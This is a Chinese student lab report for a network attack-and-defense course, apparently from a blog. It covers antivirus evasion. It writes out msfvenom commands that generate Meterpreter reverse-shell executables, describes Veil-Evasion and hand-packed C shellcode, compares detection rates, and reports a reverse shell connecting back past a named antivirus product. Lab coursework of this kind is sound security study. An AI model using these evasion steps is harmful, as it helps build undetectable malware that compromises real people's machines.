zoukankan      html  css  js  c++  java
  • 20145204《网络对抗》免杀原理与实践

    20145204《网络对抗》免杀原理与实践

    实践内容说明

    (1)理解免杀技术原理(1分)

    (2)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(2分)

    (3)通过组合应用各种技术实现恶意代码免杀(1分)

    (4)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

    基础问题回答

    • 杀软是如何检测出恶意代码的?

    主要是基于三点:特征码、启发式恶意软件检查和行为。

    • 免杀是做什么?

    将恶意软件变身,使得查杀软件认不出来,从而免于被检测、拦截。

    • 免杀的基本方法有哪些?

    针对杀毒软件的三种基本检测方法,我们可有以下几种方法实现免杀:

        1、改变特征码:使用不同语言或者不同软件进行编码,或者加压缩壳,加密壳。
    
        2、 改变行为:从通讯方式和操作模式两方面来说。
    
               1)就通讯方式而言,我们可以使用反弹式连接、隧道技术或者加密通讯数据。
    
               2)在操作模式上,尽量减少对操作系统的修改,将全部动作放在内存中,或者加入混淆作用的正常功能代码。
    

    实践总结与体会

    • 关于Msfvenom

    利用Msfvenom编码器对病毒加壳,并没有起到多大的作用,即使编译多次也无效果,可见Msfvenom中的编码器早已被各家杀软盯上了。

    • Veil-Evasion

    Veil-Evasion在加壳比Msfvenom要好用一些(有可能是因为比较新),在实验中比较发现,其生成的病毒被查杀的概率小。

    离实战还缺些什么技术或步骤?

    1、被感染的靶机和我们不在一个网段,就不能成功。

    2、伪装生成的exe,诱使用户自己点击开启。

    实践过程记录

    使用Msfvenom

    1、在使用编码器之前,我们先查杀一下msfvenom直接生成meterpreter可执行文件,结果如下图所示,可以看到查杀率为53%(21/39):

    2、使用msfvenom -l encoders 查看msf中包含的编码器如下图所示,我们在这里挑选两个,进行试验比较其生成的木马的被查杀率的区别。

    3、使用shikata_ga_nai编码生成:

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=10.43.48.166 LPORT=4444 -f exe > zyj_encoded.exe

    查杀率并没有降低,结果如下图所示:

    4、使用xor编码生成:msfvenom -p windows/meterpreter/reverse_tcp -e x64/xor ‘x00’ LHOST=10.43.51.205 LPORT=4444 -f exe > zyj_xor.exe,查杀率没有任何变化。

    使用Veil-Evasion生成可执行文件

    1、老师kali账号下已经下载好了Veil-Evasion文件,直接在命令行中输入veil-evasion打开。按照提示选择use,并选择相应的payload方式。这里选择的是49.如下图所示;

    2、输入generate生成病毒,按照提示输入文件名称,结果如下图所示:

    2、将生成好的文件上传到这里,看查杀率相比较Msfvenom确实提高不少。如下图所示:

    半手工打造:C语言调用Shellcode

    1、直接在linux中利用msf的meterpreter生成的文件以.c形式文件存储,得到机器码。命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.43.48.16 LPORT=443 -f c >c5204.c

    2、改变这个.c文件,并编译,竟然锐减到10%,但是仍然没有用,此文件依然会被认为是病毒。

    结果文件:

    5、继续加工该程序,手工加一个壳,将特征码倒序,再次查杀,果真半手工的还收有效果的:

    最后在自己电脑上实现杀毒并回连

    1、瑞星杀软(版本24.00.63.33)杀不出:

    2、打开瑞星防火墙,会提示可疑软件在上网,同意后,就能连上kali了。

    2、回连成功,在kali上获得shell(中间虚拟地址ip发生变化,所以重新生成的exe):

  • 相关阅读:
    mysql视图定义以及创建视图
    前端页面调用spring mvc接口发生跨域问题解决方案
    亲测可用的ssm框架搭建
    python--pandas基本操作
    jieba中文处理 python
    爬虫 登录开心网,登录人人网
    Selenium&wevdriver
    django 中间件的一些基本操作
    写一个简单的登录客户端步骤
    个人对ADO连接池的理解
  • 原文地址:https://www.cnblogs.com/yayaer/p/6586855.html
Copyright © 2011-2022 走看看